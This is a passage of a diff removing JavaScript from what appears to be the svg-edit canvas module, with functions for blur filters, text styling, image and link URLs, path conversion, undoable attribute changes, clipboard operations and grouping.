-			canvas.setBlur(val);
-			return;
-		}
-		if(val === 0) {
-			// Don't change the StdDev, as that will hide the element.
-			// Instead, just remove the value for "filter"
-			changeSelectedAttributeNoUndo("filter", "");
-			filterHidden = true;
-		} else {
-			var elem = selectedElements[0];
-			if(filterHidden) {
-				changeSelectedAttributeNoUndo("filter", 'url(#' + elem.id + '_blur)');
-			}
-			if(svgedit.browser.isWebkit()) {
-				console.log('e', elem);
-				elem.removeAttribute('filter');
-				elem.setAttribute('filter', 'url(#' + elem.id + '_blur)');
-			}
-			changeSelectedAttributeNoUndo("stdDeviation", val, [filter.firstChild]);
-			canvas.setBlurOffsets(filter, val);
-		}
-	}
-	
-	function finishChange() {
-		var bCmd = canvas.undoMgr.finishUndoableChange();
-		cur_command.addSubCommand(bCmd);
-		addCommandToHistory(cur_command);
-		cur_command = null;	
-		filter = null;
-	}
-
-	// Function: setBlurOffsets
-	// Sets the x, y, with, height values of the filter element in order to
-	// make the blur not be clipped. Removes them if not neeeded
-	//
-	// Parameters:
-	// filter - The filter DOM element to update
-	// stdDev - The standard deviation value on which to base the offset size
-	canvas.setBlurOffsets = function(filter, stdDev) {
-		if(stdDev > 3) {
-			// TODO: Create algorithm here where size is based on expected blur
-			assignAttributes(filter, {
-				x: '-50%',
-				y: '-50%',
-				width: '200%',
-				height: '200%'
-			}, 100);
-		} else {
-			// Removing these attributes hides text in Chrome (see Issue 579)
-			if(!svgedit.browser.isWebkit()) {
-				filter.removeAttribute('x');
-				filter.removeAttribute('y');
-				filter.removeAttribute('width');
-				filter.removeAttribute('height');
-			}
-		}
-	}
-
-	// Function: setBlur 
-	// Adds/updates the blur filter to the selected element
-	//
-	// Parameters:
-	// val - Float with the new stdDeviation blur value
-	// complete - Boolean indicating whether or not the action should be completed (to add to the undo manager)
-	canvas.setBlur = function(val, complete) {
-		if(cur_command) {
-			finishChange();
-			return;
-		}
-	
-		// Looks for associated blur, creates one if not found
-		var elem = selectedElements[0];
-		var elem_id = elem.id;
-		filter = getElem(elem_id + '_blur');
-		
-		val -= 0;
-		
-		var batchCmd = new BatchCommand();
-		
-		// Blur found!
-		if(filter) {
-			if(val === 0) {
-				filter = null;
-			}
-		} else {
-			// Not found, so create
-			var newblur = addSvgElementFromJson({ "element": "feGaussianBlur",
-				"attr": {
-					"in": 'SourceGraphic',
-					"stdDeviation": val
-				}
-			});
-			
-			filter = addSvgElementFromJson({ "element": "filter",
-				"attr": {
-					"id": elem_id + '_blur'
-				}
-			});
-			
-			filter.appendChild(newblur);
-			findDefs().appendChild(filter);
-			
-			batchCmd.addSubCommand(new InsertElementCommand(filter));
-		}
-
-		var changes = {filter: elem.getAttribute('filter')};
-		
-		if(val === 0) {
-			elem.removeAttribute("filter");
-			batchCmd.addSubCommand(new ChangeElementCommand(elem, changes));
-			return;
-		} else {
-			changeSelectedAttribute("filter", 'url(#' + elem_id + '_blur)');
-			
-			batchCmd.addSubCommand(new ChangeElementCommand(elem, changes));
-			
-			canvas.setBlurOffsets(filter, val);
-		}
-		
-		cur_command = batchCmd;
-		canvas.undoMgr.beginUndoableChange("stdDeviation", [filter?filter.firstChild:null]);
-		if(complete) {
-			canvas.setBlurNoUndo(val);
-			finishChange();
-		}
-	};
-}());
-
-// Function: getBold
-// Check whether selected element is bold or not
-//
-// Returns:
-// Boolean indicating whether or not element is bold
-this.getBold = function() {
-	// should only have one element selected
-	var selected = selectedElements[0];
-	if (selected != null && selected.tagName  == "text" &&
-		selectedElements[1] == null) 
-	{
-		return (selected.getAttribute("font-weight") == "bold");
-	}
-	return false;
-};
-
-// Function: setBold
-// Make the selected element bold or normal
-//
-// Parameters:
-// b - Boolean indicating bold (true) or normal (false)
-this.setBold = function(b) {
-	var selected = selectedElements[0];
-	if (selected != null && selected.tagName  == "text" &&
-		selectedElements[1] == null) 
-	{
-		changeSelectedAttribute("font-weight", b ? "bold" : "normal");
-	}
-	if(!selectedElements[0].textContent) {
-		textActions.setCursor();
-	}
-};
-
-// Function: getItalic
-// Check whether selected element is italic or not
-//
-// Returns:
-// Boolean indicating whether or not element is italic
-this.getItalic = function() {
-	var selected = selectedElements[0];
-	if (selected != null && selected.tagName  == "text" &&
-		selectedElements[1] == null) 
-	{
-		return (selected.getAttribute("font-style") == "italic");
-	}
-	return false;
-};
-
-// Function: setItalic
-// Make the selected element italic or normal
-//
-// Parameters:
-// b - Boolean indicating italic (true) or normal (false)
-this.setItalic = function(i) {
-	var selected = selectedElements[0];
-	if (selected != null && selected.tagName  == "text" &&
-		selectedElements[1] == null) 
-	{
-		changeSelectedAttribute("font-style", i ? "italic" : "normal");
-	}
-	if(!selectedElements[0].textContent) {
-		textActions.setCursor();
-	}
-};
-
-// Function: getFontFamily
-// Returns the current font family
-this.getFontFamily = function() {
-	return cur_text.font_family;
-};
-
-// Function: setFontFamily
-// Set the new font family
-//
-// Parameters:
-// val - String with the new font family
-this.setFontFamily = function(val) {
-	cur_text.font_family = val;
-	changeSelectedAttribute("font-family", val);
-	if(selectedElements[0] && !selectedElements[0].textContent) {
-		textActions.setCursor();
-	}
-};
-
-
-// Function: setFontColor
-// Set the new font color
-//
-// Parameters:
-// val - String with the new font color
-this.setFontColor = function(val) {
-	cur_text.fill = val;
-	changeSelectedAttribute("fill", val);
-};
-
-// Function: getFontColor
-// Returns the current font color
-this.getFontSize = function() {
-	return cur_text.fill;
-};
-
-// Function: getFontSize
-// Returns the current font size
-this.getFontSize = function() {
-	return cur_text.font_size;
-};
-
-// Function: setFontSize
-// Applies the given font size to the selected element
-//
-// Parameters:
-// val - Float with the new font size
-this.setFontSize = function(val) {
-	cur_text.font_size = val;
-	changeSelectedAttribute("font-size", val);
-	if(!selectedElements[0].textContent) {
-		textActions.setCursor();
-	}
-};
-
-// Function: getText
-// Returns the current text (textContent) of the selected element
-this.getText = function() {
-	var selected = selectedElements[0];
-	if (selected == null) { return ""; }
-	return selected.textContent;
-};
-
-// Function: setTextContent
-// Updates the text element with the given string
-//
-// Parameters:
-// val - String with the new text
-this.setTextContent = function(val) {
-	changeSelectedAttribute("#text", val);
-	textActions.init(val);
-	textActions.setCursor();
-};
-
-// Function: setImageURL
-// Sets the new image URL for the selected image element. Updates its size if
-// a new URL is given
-// 
-// Parameters:
-// val - String with the image URL/path
-this.setImageURL = function(val) {
-	var elem = selectedElements[0];
-	if(!elem) return;
-	
-	var attrs = $(elem).attr(['width', 'height']);
-	var setsize = (!attrs.width || !attrs.height);
-
-	var cur_href = getHref(elem);
-	
-	// Do nothing if no URL change or size change
-	if(cur_href !== val) {
-		setsize = true;
-	} else if(!setsize) return;
-
-	var batchCmd = new BatchCommand("Change Image URL");
-
-	setHref(elem, val);
-	batchCmd.addSubCommand(new ChangeElementCommand(elem, {
-		"#href": cur_href
-	}));
-
-	if(setsize) {
-		$(new Image()).load(function() {
-			var changes = $(elem).attr(['width', 'height']);
-		
-			$(elem).attr({
-				width: this.width,
-				height: this.height
-			});
-			
-			selectorManager.requestSelector(elem).resize();
-			
-			batchCmd.addSubCommand(new ChangeElementCommand(elem, changes));
-			addCommandToHistory(batchCmd);
-			call("changed", [elem]);
-		}).attr('src',val);
-	} else {
-		addCommandToHistory(batchCmd);
-	}
-};
-
-// Function: setLinkURL
-// Sets the new link URL for the selected anchor element.
-// 
-// Parameters:
-// val - String with the link URL/path
-this.setLinkURL = function(val) {
-	var elem = selectedElements[0];
-	if(!elem) return;
-	if(elem.tagName !== 'a') {
-		// See if parent is an anchor
-		var parents_a = $(elem).parents('a');
-		if(parents_a.length) {
-			elem = parents_a[0];
-		} else {
-			return;
-		}
-	}
-	
-	var cur_href = getHref(elem);
-	
-	if(cur_href === val) return;
-	
-	var batchCmd = new BatchCommand("Change Link URL");
-
-	setHref(elem, val);
-	batchCmd.addSubCommand(new ChangeElementCommand(elem, {
-		"#href": cur_href
-	}));
-
-	addCommandToHistory(batchCmd);
-};
-
-
-// Function: setRectRadius
-// Sets the rx & ry values to the selected rect element to change its corner radius
-// 
-// Parameters:
-// val - The new radius
-this.setRectRadius = function(val) {
-	var selected = selectedElements[0];
-	if (selected != null && selected.tagName == "rect") {
-		var r = selected.getAttribute("rx");
-		if (r != val) {
-			selected.setAttribute("rx", val);
-			selected.setAttribute("ry", val);
-			addCommandToHistory(new ChangeElementCommand(selected, {"rx":r, "ry":r}, "Radius"));
-			call("changed", [selected]);
-		}
-	}
-};
-
-// Function: makeHyperlink
-// Wraps the selected element(s) in an anchor element or converts group to one
-this.makeHyperlink = function(url) {
-	canvas.groupSelectedElements('a', url);
-	
-	// TODO: If element is a single "g", convert to "a"
-	//	if(selectedElements.length > 1 && selectedElements[1]) {
-
-}
-
-// Function: removeHyperlink
-this.removeHyperlink = function() {
-	canvas.ungroupSelectedElement();
-}
-
-// Group: Element manipulation
-
-// Function: setSegType
-// Sets the new segment type to the selected segment(s). 
-//
-// Parameters:
-// new_type - Integer with the new segment type
-// See http://www.w3.org/TR/SVG/paths.html#InterfaceSVGPathSeg for list
-this.setSegType = function(new_type) {
-	pathActions.setSegType(new_type);
-}
-
-// TODO(codedread): Remove the getBBox argument and split this function into two.
-// Function: convertToPath
-// Convert selected element to a path, or get the BBox of an element-as-path
-//
-// Parameters: 
-// elem - The DOM element to be converted
-// getBBox - Boolean on whether or not to only return the path's BBox
-//
-// Returns:
-// If the getBBox flag is true, the resulting path's bounding box object.
-// Otherwise the resulting path element is returned.
-this.convertToPath = function(elem, getBBox) {
-	if(elem == null) {
-		var elems = selectedElements;
-		$.each(selectedElements, function(i, elem) {
-			if(elem) canvas.convertToPath(elem);
-		});
-		return;
-	}
-	
-	if(!getBBox) {
-		var batchCmd = new BatchCommand("Convert element to Path");
-	}
-	
-	var attrs = getBBox?{}:{
-		"fill": cur_shape.fill,
-		"fill-opacity": cur_shape.fill_opacity,
-		"stroke": cur_shape.stroke,
-		"stroke-width": cur_shape.stroke_width,
-		"stroke-dasharray": cur_shape.stroke_dasharray,
-		"stroke-linejoin": cur_shape.stroke_linejoin,
-		"stroke-linecap": cur_shape.stroke_linecap,
-		"stroke-opacity": cur_shape.stroke_opacity,
-		"opacity": cur_shape.opacity,
-		"visibility":"hidden"
-	};
-	
-	// any attribute on the element not covered by the above
-	// TODO: make this list global so that we can properly maintain it
-	// TODO: what about @transform, @clip-rule, @fill-rule, etc?
-	$.each(['marker-start', 'marker-end', 'marker-mid', 'filter', 'clip-path'], function() {
-		if (elem.getAttribute(this)) {
-			attrs[this] = elem.getAttribute(this);
-		}
-	});
-	
-	var path = addSvgElementFromJson({
-		"element": "path",
-		"attr": attrs
-	});
-	
-	var eltrans = elem.getAttribute("transform");
-	if(eltrans) {
-		path.setAttribute("transform",eltrans);
-	}
-	
-	var id = elem.id;
-	var parent = elem.parentNode;
-	if(elem.nextSibling) {
-		parent.insertBefore(path, elem);
-	} else {
-		parent.appendChild(path);
-	}
-	
-	var d = '';
-	
-	var joinSegs = function(segs) {
-		$.each(segs, function(j, seg) {
-			var l = seg[0], pts = seg[1];
-			d += l;
-			for(var i=0; i < pts.length; i+=2) {
-				d += (pts[i] +','+pts[i+1]) + ' ';
-			}
-		});
-	}
-
-	// Possibly the cubed root of 6, but 1.81 works best
-	var num = 1.81;
-
-	switch (elem.tagName) {
-	case 'ellipse':
-	case 'circle':
-		var a = $(elem).attr(['rx', 'ry', 'cx', 'cy']);
-		var cx = a.cx, cy = a.cy, rx = a.rx, ry = a.ry;
-		if(elem.tagName == 'circle') {
-			rx = ry = $(elem).attr('r');
-		}
-	
-		joinSegs([
-			['M',[(cx-rx),(cy)]],
-			['C',[(cx-rx),(cy-ry/num), (cx-rx/num),(cy-ry), (cx),(cy-ry)]],
-			['C',[(cx+rx/num),(cy-ry), (cx+rx),(cy-ry/num), (cx+rx),(cy)]],
-			['C',[(cx+rx),(cy+ry/num), (cx+rx/num),(cy+ry), (cx),(cy+ry)]],
-			['C',[(cx-rx/num),(cy+ry), (cx-rx),(cy+ry/num), (cx-rx),(cy)]],
-			['Z',[]]
-		]);
-		break;
-	case 'path':
-		d = elem.getAttribute('d');
-		break;
-	case 'line':
-		var a = $(elem).attr(["x1", "y1", "x2", "y2"]);
-		d = "M"+a.x1+","+a.y1+"L"+a.x2+","+a.y2;
-		break;
-	case 'polyline':
-	case 'polygon':
-		d = "M" + elem.getAttribute('points');
-		break;
-	case 'rect':
-		var r = $(elem).attr(['rx', 'ry']);
-		var rx = r.rx, ry = r.ry;
-		var b = elem.getBBox();
-		var x = b.x, y = b.y, w = b.width, h = b.height;
-		var num = 4-num; // Why? Because!
-		
-		if(!rx && !ry) {
-			// Regular rect
-			joinSegs([
-				['M',[x, y]],
-				['L',[x+w, y]],
-				['L',[x+w, y+h]],
-				['L',[x, y+h]],
-				['L',[x, y]],
-				['Z',[]]
-			]);
-		} else {
-			joinSegs([
-				['M',[x, y+ry]],
-				['C',[x,y+ry/num, x+rx/num,y, x+rx,y]],
-				['L',[x+w-rx, y]],
-				['C',[x+w-rx/num,y, x+w,y+ry/num, x+w,y+ry]],
-				['L',[x+w, y+h-ry]],
-				['C',[x+w, y+h-ry/num, x+w-rx/num,y+h, x+w-rx,y+h]],
-				['L',[x+rx, y+h]],
-				['C',[x+rx/num, y+h, x,y+h-ry/num, x,y+h-ry]],
-				['L',[x, y+ry]],
-				['Z',[]]
-			]);
-		}
-		break;
-	default:
-		path.parentNode.removeChild(path);
-		break;
-	}
-	
-	if(d) {
-		path.setAttribute('d',d);
-	}
-	
-	if(!getBBox) {
-		// Replace the current element with the converted one
-		
-		// Reorient if it has a matrix
-		if(eltrans) {
-			var tlist = getTransformList(path);
-			if(hasMatrixTransform(tlist)) {
-				pathActions.resetOrientation(path);
-			}
-		}
-		
-		var nextSibling = elem.nextSibling;
-		batchCmd.addSubCommand(new RemoveElementCommand(elem, nextSibling, parent));
-		batchCmd.addSubCommand(new InsertElementCommand(path));
-
-		clearSelection();
-		elem.parentNode.removeChild(elem)
-		path.setAttribute('id', id);
-		path.removeAttribute("visibility");
-		addToSelection([path], true);
-		
-		addCommandToHistory(batchCmd);
-		
-	} else {
-		// Get the correct BBox of the new path, then discard it
-		pathActions.resetOrientation(path);
-		var bb = false;
-		try {
-			bb = path.getBBox();
-		} catch(e) {
-			// Firefox fails
-		}
-		path.parentNode.removeChild(path);
-		return bb;
-	}
-};
-
-
-// Function: changeSelectedAttributeNoUndo
-// This function makes the changes to the elements. It does not add the change
-// to the history stack. 
-// 
-// Parameters:
-// attr - String with the attribute name
-// newValue - String or number with the new attribute value
-// elems - The DOM elements to apply the change to
-var changeSelectedAttributeNoUndo = function(attr, newValue, elems) {
-	var handle = svgroot.suspendRedraw(1000);
-	if(current_mode == 'pathedit') {
-		// Editing node
-		pathActions.moveNode(attr, newValue);
-	}
-	var elems = elems || selectedElements;
-	var i = elems.length;
-	var no_xy_elems = ['g', 'polyline', 'path'];
-	var good_g_attrs = ['transform', 'opacity', 'filter'];
-	
-	while (i--) {
-		var elem = elems[i];
-		if (elem == null) continue;
-		
-		// Go into "select" mode for text changes
-		if(current_mode === "textedit" && attr !== "#text" && elem.textContent.length) {
-			textActions.toSelectMode(elem);
-		}
-		
-		// Set x,y vals on elements that don't have them
-		if((attr === 'x' || attr === 'y') && no_xy_elems.indexOf(elem.tagName) >= 0) {
-			var bbox = getStrokedBBox([elem]);
-			var diff_x = attr === 'x' ? newValue - bbox.x : 0;
-			var diff_y = attr === 'y' ? newValue - bbox.y : 0;
-			canvas.moveSelectedElements(diff_x*current_zoom, diff_y*current_zoom, true);
-			continue;
-		}
-		
-		// only allow the transform/opacity/filter attribute to change on <g> elements, slightly hacky
-		// TODO: FIXME: This doesn't seem right.  Where's the body of this if statement?
-		if (elem.tagName === "g" && good_g_attrs.indexOf(attr) >= 0);
-		var oldval = attr === "#text" ? elem.textContent : elem.getAttribute(attr);
-		if (oldval == null)  oldval = "";
-		if (oldval !== String(newValue)) {
-			if (attr == "#text") {
-				var old_w = svgedit.utilities.getBBox(elem).width;
-				elem.textContent = newValue;
-				
-				// FF bug occurs on on rotated elements
-				if(/rotate/.test(elem.getAttribute('transform'))) {
-					elem = ffClone(elem);
-				}
-				
-				// Hoped to solve the issue of moving text with text-anchor="start",
-				// but this doesn't actually fix it. Hopefully on the right track, though. -Fyrd
-				
-// 					var box=getBBox(elem), left=box.x, top=box.y, width=box.width,
-// 						height=box.height, dx = width - old_w, dy=0;
-// 					var angle = getRotationAngle(elem, true);
-// 					if (angle) {
-// 						var r = Math.sqrt( dx*dx + dy*dy );
-// 						var theta = Math.atan2(dy,dx) - angle;
-// 						dx = r * Math.cos(theta);
-// 						dy = r * Math.sin(theta);
-// 						
-// 						elem.setAttribute('x', elem.getAttribute('x')-dx);
-// 						elem.setAttribute('y', elem.getAttribute('y')-dy);
-// 					}
-				
-			} else if (attr == "#href") {
-				setHref(elem, newValue);
-			}
-			else elem.setAttribute(attr, newValue);
-//			if (i==0)
-//				selectedBBoxes[0] = svgedit.utilities.getBBox(elem);
-			// Use the Firefox ffClone hack for text elements with gradients or
-			// where other text attributes are changed. 
-			if(svgedit.browser.isGecko() && elem.nodeName === 'text' && /rotate/.test(elem.getAttribute('transform'))) {
-				if((newValue+'').indexOf('url') === 0 || ['font-size','font-family','x','y'].indexOf(attr) >= 0 && elem.textContent) {
-					elem = ffClone(elem);
-				}
-			}
-			// Timeout needed for Opera & Firefox
-			// codedread: it is now possible for this function to be called with elements
-			// that are not in the selectedElements array, we need to only request a
-			// selector if the element is in that array
-			if (selectedElements.indexOf(elem) >= 0) {
-				setTimeout(function() {
-					// Due to element replacement, this element may no longer
-					// be part of the DOM
-					if(!elem.parentNode) return;
-					selectorManager.requestSelector(elem).resize();
-				},0);
-			}
-			// if this element was rotated, and we changed the position of this element
-			// we need to update the rotational transform attribute 
-			var angle = getRotationAngle(elem);
-			if (angle != 0 && attr != "transform") {
-				var tlist = getTransformList(elem);
-				var n = tlist.numberOfItems;
-				while (n--) {
-					var xform = tlist.getItem(n);
-					if (xform.type == 4) {
-						// remove old rotate
-						tlist.removeItem(n);
-						
-						var box = svgedit.utilities.getBBox(elem);
-						var center = transformPoint(box.x+box.width/2, box.y+box.height/2, transformListToTransform(tlist).matrix);
-						var cx = center.x,
-							cy = center.y;
-						var newrot = svgroot.createSVGTransform();
-						newrot.setRotate(angle, cx, cy);
-						tlist.insertItemBefore(newrot, n);
-						break;
-					}
-				}
-			}
-		} // if oldValue != newValue
-	} // for each elem
-	svgroot.unsuspendRedraw(handle);	
-};
-
-// Function: changeSelectedAttribute
-// Change the given/selected element and add the original value to the history stack
-// If you want to change all selectedElements, ignore the elems argument.
-// If you want to change only a subset of selectedElements, then send the
-// subset to this function in the elems argument.
-// 
-// Parameters:
-// attr - String with the attribute name
-// newValue - String or number with the new attribute value
-// elems - The DOM elements to apply the change to
-var changeSelectedAttribute = this.changeSelectedAttribute = function(attr, val, elems) {
-	var elems = elems || selectedElements;
-	canvas.undoMgr.beginUndoableChange(attr, elems);
-	var i = elems.length;
-
-	changeSelectedAttributeNoUndo(attr, val, elems);
-
-	var batchCmd = canvas.undoMgr.finishUndoableChange();
-	if (!batchCmd.isEmpty()) { 
-		addCommandToHistory(batchCmd);
-	}
-};
-
-// Function: deleteSelectedElements
-// Removes all selected elements from the DOM and adds the change to the 
-// history stack
-this.deleteSelectedElements = function() {
-	var batchCmd = new BatchCommand("Delete Elements");
-	var len = selectedElements.length;
-	var selectedCopy = []; //selectedElements is being deleted
-	for (var i = 0; i < len; ++i) {
-		var selected = selectedElements[i];
-		if (selected == null) break;
-
-		var parent = selected.parentNode;
-		var t = selected;
-		
-		// this will unselect the element and remove the selectedOutline
-		selectorManager.releaseSelector(t);
-		
-		// Remove the path if present.
-		svgedit.path.removePath_(t.id);
-		
-		// Get the parent if it's a single-child anchor
-		if(parent.tagName === 'a' && parent.childNodes.length === 1) {
-			t = parent;
-			parent = parent.parentNode;
-		}
-		
-		var nextSibling = t.nextSibling;
-		var elem = parent.removeChild(t);
-		selectedCopy.push(selected); //for the copy
-		selectedElements[i] = null;
-		batchCmd.addSubCommand(new RemoveElementCommand(elem, nextSibling, parent));
-	}
-	if (!batchCmd.isEmpty()) addCommandToHistory(batchCmd);
-	call("changed", selectedCopy);
-	clearSelection();
-};
-
-// Function: cutSelectedElements
-// Removes all selected elements from the DOM and adds the change to the 
-// history stack. Remembers removed elements on the clipboard
-
-// TODO: Combine similar code with deleteSelectedElements
-this.cutSelectedElements = function() {
-	var batchCmd = new BatchCommand("Cut Elements");
-	var len = selectedElements.length;
-	var selectedCopy = []; //selectedElements is being deleted
-	for (var i = 0; i < len; ++i) {
-		var selected = selectedElements[i];
-		if (selected == null) break;
-
-		var parent = selected.parentNode;
-		var t = selected;
-
-		// this will unselect the element and remove the selectedOutline
-		selectorManager.releaseSelector(t);
-
-		// Remove the path if present.
-		svgedit.path.removePath_(t.id);
-
-		var nextSibling = t.nextSibling;
-		var elem = parent.removeChild(t);
-		selectedCopy.push(selected); //for the copy
-		selectedElements[i] = null;
-		batchCmd.addSubCommand(new RemoveElementCommand(elem, nextSibling, parent));
-	}
-	if (!batchCmd.isEmpty()) addCommandToHistory(batchCmd);
-	call("changed", selectedCopy);
-	clearSelection();
-	
-	canvas.clipBoard = selectedCopy;
-};
-
-// Function: copySelectedElements
-// Remembers the current selected elements on the clipboard
-this.copySelectedElements = function() {
-	canvas.clipBoard = $.merge([], selectedElements);
-};
-
-this.pasteElements = function(type, x, y) {
-	var cb = canvas.clipBoard;
-	var len = cb.length;
-	if(!len) return;
-	
-	var pasted = [];
-	var batchCmd = new BatchCommand('Paste elements');
-	
-	// Move elements to lastClickPoint
-
-	while (len--) {
-		var elem = cb[len];
-		if(!elem) continue;
-		var copy = copyElem(elem);
-
-		// See if elem with elem ID is in the DOM already
-		if(!getElem(elem.id)) copy.id = elem.id;
-		
-		pasted.push(copy);
-		(current_group || getCurrentDrawing().getCurrentLayer()).appendChild(copy);
-		batchCmd.addSubCommand(new InsertElementCommand(copy));
-	}
-	
-	selectOnly(pasted);
-	
-	if(type !== 'in_place') {
-		
-		var ctr_x, ctr_y;
-		
-		if(!type) {
-			ctr_x = lastClickPoint.x;
-			ctr_y = lastClickPoint.y;
-		} else if(type === 'point') {
-			ctr_x = x;
-			ctr_y = y;
-		} 
-		
-		var bbox = getStrokedBBox(pasted);
-		var cx = ctr_x - (bbox.x + bbox.width/2),
-			cy = ctr_y - (bbox.y + bbox.height/2),
-			dx = [],
-			dy = [];
-	
-		$.each(pasted, function(i, item) {
-			dx.push(cx);
-			dy.push(cy);
-		});
-		
-		var cmd = canvas.moveSelectedElements(dx, dy, false);
-		batchCmd.addSubCommand(cmd);
-	}
-	
-
-	
-	addCommandToHistory(batchCmd);
-	call("changed", pasted);
-}
-
-// Function: groupSelectedElements
-// Wraps all the selected elements in a group (g) element
-
-// Parameters: 
-// type - type of element to group into, defaults to <g>
-this.groupSelectedElements = function(type) {
-	if(!type) type = 'g';
-	var cmd_str = '';
-	
-	switch ( type ) {
-		case "a":
-			cmd_str = "Make hyperlink";
-			var url = '';
-			if(arguments.length > 1) {
-				url = arguments[1];
-			}
-			break;
-		default:
-			type = 'g';
-			cmd_str = "Group Elements";
-			break;
-	}
-	
-	var batchCmd = new BatchCommand(cmd_str);
-	
-	// create and insert the group element
-	var g = addSvgElementFromJson({
-							"element": type,
-							"attr": {
-								"id": getNextId()
-							}
-						});
-	if(type === 'a') {
-		setHref(g, url);
-	}
-	batchCmd.addSubCommand(new InsertElementCommand(g));
-	
-	// now move all children into the group
-	var i = selectedElements.length;
-	while (i--) {
-		var elem = selectedElements[i];
-		if (elem == null) continue;
-		
-		if (elem.parentNode.tagName === 'a' && elem.parentNode.childNodes.length === 1) {
-			elem = elem.parentNode;
-		}
-		
-		var oldNextSibling = elem.nextSibling;
-		var oldParent = elem.parentNode;
-		g.appendChild(elem);
-		batchCmd.addSubCommand(new MoveElementCommand(elem, oldNextSibling, oldParent));			
-	}
-	if (!batchCmd.isEmpty()) addCommandToHistory(batchCmd);
-	
-	// update selection
-	selectOnly([g], true);
-};
-
-
-// Function: pushGroupProperties
-// Pushes all appropriate parent group properties down to its children, then
-// removes them from the group
-var pushGroupProperties = this.pushGroupProperties = function(g, undoable) {
-
-	var children = g.childNodes;
-	var len = children.length;
-	var xform = g.getAttribute("transform");
-
-	var glist = getTransformList(g);
-	var m = transformListToTransform(glist).matrix;
-	
-	var batchCmd = new BatchCommand("Push group properties");
-
-	// TODO: get all fill/stroke properties from the group that we are about to destroy
-	// "fill", "fill-opacity", "fill-rule", "stroke", "stroke-dasharray", "stroke-dashoffset", 
-	// "stroke-linecap", "stroke-linejoin", "stroke-miterlimit", "stroke-opacity", 
-	// "stroke-width"
-	// and then for each child, if they do not have the attribute (or the value is 'inherit')
-	// then set the child's attribute
-	
-	var i = 0;
-	var gangle = getRotationAngle(g);
-	
-	var gattrs = $(g).attr(['filter', 'opacity']);
-	var gfilter, gblur;
-	
-	for(var i = 0; i < len; i++) {
-		var elem = children[i];
-		
-		if(elem.nodeType !== 1) continue;
-		
-		if(gattrs.opacity !== null && gattrs.opacity !== 1) {
-			var c_opac = elem.getAttribute('opacity') || 1;
-			var new_opac = Math.round((elem.getAttribute('opacity') || 1) * gattrs.opacity * 100)/100;
-			changeSelectedAttribute('opacity', new_opac, [elem]);
-		}
-
-		if(gattrs.filter) {
-			var cblur = this.getBlur(elem);
-			var orig_cblur = cblur;
-			if(!gblur) gblur = this.getBlur(g);
-			if(cblur) {
-				// Is this formula correct?
-				cblur = (gblur-0) + (cblur-0);
-			} else if(cblur === 0) {
-				cblur = gblur;
-			}
-			
-			// If child has no current filter, get group's filter or clone it.
-			if(!orig_cblur) {
-				// Set group's filter to use first child's ID
-				if(!gfilter) {
-					gfilter = getRefElem(gattrs.filter);
-				} else {
-					// Clone the group's filter
-					gfilter = copyElem(gfilter);
-					findDefs().appendChild(gfilter);
-				}
-			} else {
-				gfilter = getRefElem(elem.getAttribute('filter'));
-			}
-
-			// Change this in future for different filters
-			var suffix = (gfilter.firstChild.tagName === 'feGaussianBlur')?'blur':'filter'; 
-			gfilter.id = elem.id + '_' + suffix;
-			changeSelectedAttribute('filter', 'url(#' + gfilter.id + ')', [elem]);
-			
-			// Update blur value 
-			if(cblur) {
-				changeSelectedAttribute('stdDeviation', cblur, [gfilter.firstChild]);
-				canvas.setBlurOffsets(gfilter, cblur);
-			}
-		}
-		
-		var chtlist = getTransformList(elem);
-
-		// Don't process gradient transforms
-		if(~elem.tagName.indexOf('Gradient')) chtlist = null;
-		
-		// Hopefully not a problem to add this. Necessary for elements like <desc/>
-		if(!chtlist) continue;
-		
-		// Apparently <defs> can get get a transformlist, but we don't want it to have one!
-		if(elem.tagName === 'defs') continue;
-		
-		if (glist.numberOfItems) {
-			// TODO: if the group's transform is just a rotate, we can always transfer the
-			// rotate() down to the children (collapsing consecutive rotates and factoring
-			// out any translates)
-			if (gangle && glist.numberOfItems == 1) {
-				// [Rg] [Rc] [Mc]
-				// we want [Tr] [Rc2] [Mc] where:
-				// 	- [Rc2] is at the child's current center but has the 
-				//	  sum of the group and child's rotation angles
-				// 	- [Tr] is the equivalent translation that this child 
-				// 	  undergoes if the group wasn't there
-				
-				// [Tr] = [Rg] [Rc] [Rc2_inv]
-				
-				// get group's rotation matrix (Rg)
-				var rgm = glist.getItem(0).matrix;
-				
-				// get child's rotation matrix (Rc)
-				var rcm = svgroot.createSVGMatrix();
-				var cangle = getRotationAngle(elem);
-				if (cangle) {
-					rcm = chtlist.getItem(0).matrix;
-				}
-				
-				// get child's old center of rotation
-				var cbox = svgedit.utilities.getBBox(elem);
-				var ceqm = transformListToTransform(chtlist).matrix;
-				var coldc = transformPoint(cbox.x+cbox.width/2, cbox.y+cbox.height/2,ceqm);
-				
-				// sum group and child's angles
-				var sangle = gangle + cangle;
-				
-				// get child's rotation at the old center (Rc2_inv)
-				var r2 = svgroot.createSVGTransform();
-				r2.setRotate(sangle, coldc.x, coldc.y);
-				
-				// calculate equivalent translate
-				var trm = matrixMultiply(rgm, rcm, r2.matrix.inverse());
-				
-				// set up tlist
-				if (cangle) {
-					chtlist.removeItem(0);
-				}
-				
-				if (sangle) {
-					if(chtlist.numberOfItems) {
-						chtlist.insertItemBefore(r2, 0);
-					} else {
-						chtlist.appendItem(r2);
-					}
-				}
-
-				if (trm.e || trm.f) {
-					var tr = svgroot.createSVGTransform();
-					tr.setTranslate(trm.e, trm.f);
-					if(chtlist.numberOfItems) {
-						chtlist.insertItemBefore(tr, 0);
-					} else {
-						chtlist.appendItem(tr);
-					}
-				}
-			}
-			else { // more complicated than just a rotate
-			
-				// transfer the group's transform down to each child and then
-				// call recalculateDimensions()				
-				var oldxform = elem.getAttribute("transform");
-				var changes = {};
-				changes["transform"] = oldxform ? oldxform : "";
-
-				var newxform = svgroot.createSVGTransform();
-
-				// [ gm ] [ chm ] = [ chm ] [ gm' ]
-				// [ gm' ] = [ chm_inv ] [ gm ] [ chm ]
-				var chm = transformListToTransform(chtlist).matrix,
-					chm_inv = chm.inverse();
-				var gm = matrixMultiply( chm_inv, m, chm );
-				newxform.setMatrix(gm);
-				chtlist.appendItem(newxform);
-			}
-			var cmd = recalculateDimensions(elem);
-			if(cmd)	batchCmd.addSubCommand(cmd);
-		}
-	}
-
-	
-	// remove transform and make it undo-able
-	if (xform) {
-		var changes = {};
-		changes["transform"] = xform;
-		g.setAttribute("transform", "");
-		g.removeAttribute("transform");				
-		batchCmd.addSubCommand(new ChangeElementCommand(g, changes));
-	}
-	
-	if (undoable && !batchCmd.isEmpty()) {
-		return batchCmd;
-	}
-}
-
-
-// Function: ungroupSelectedElement
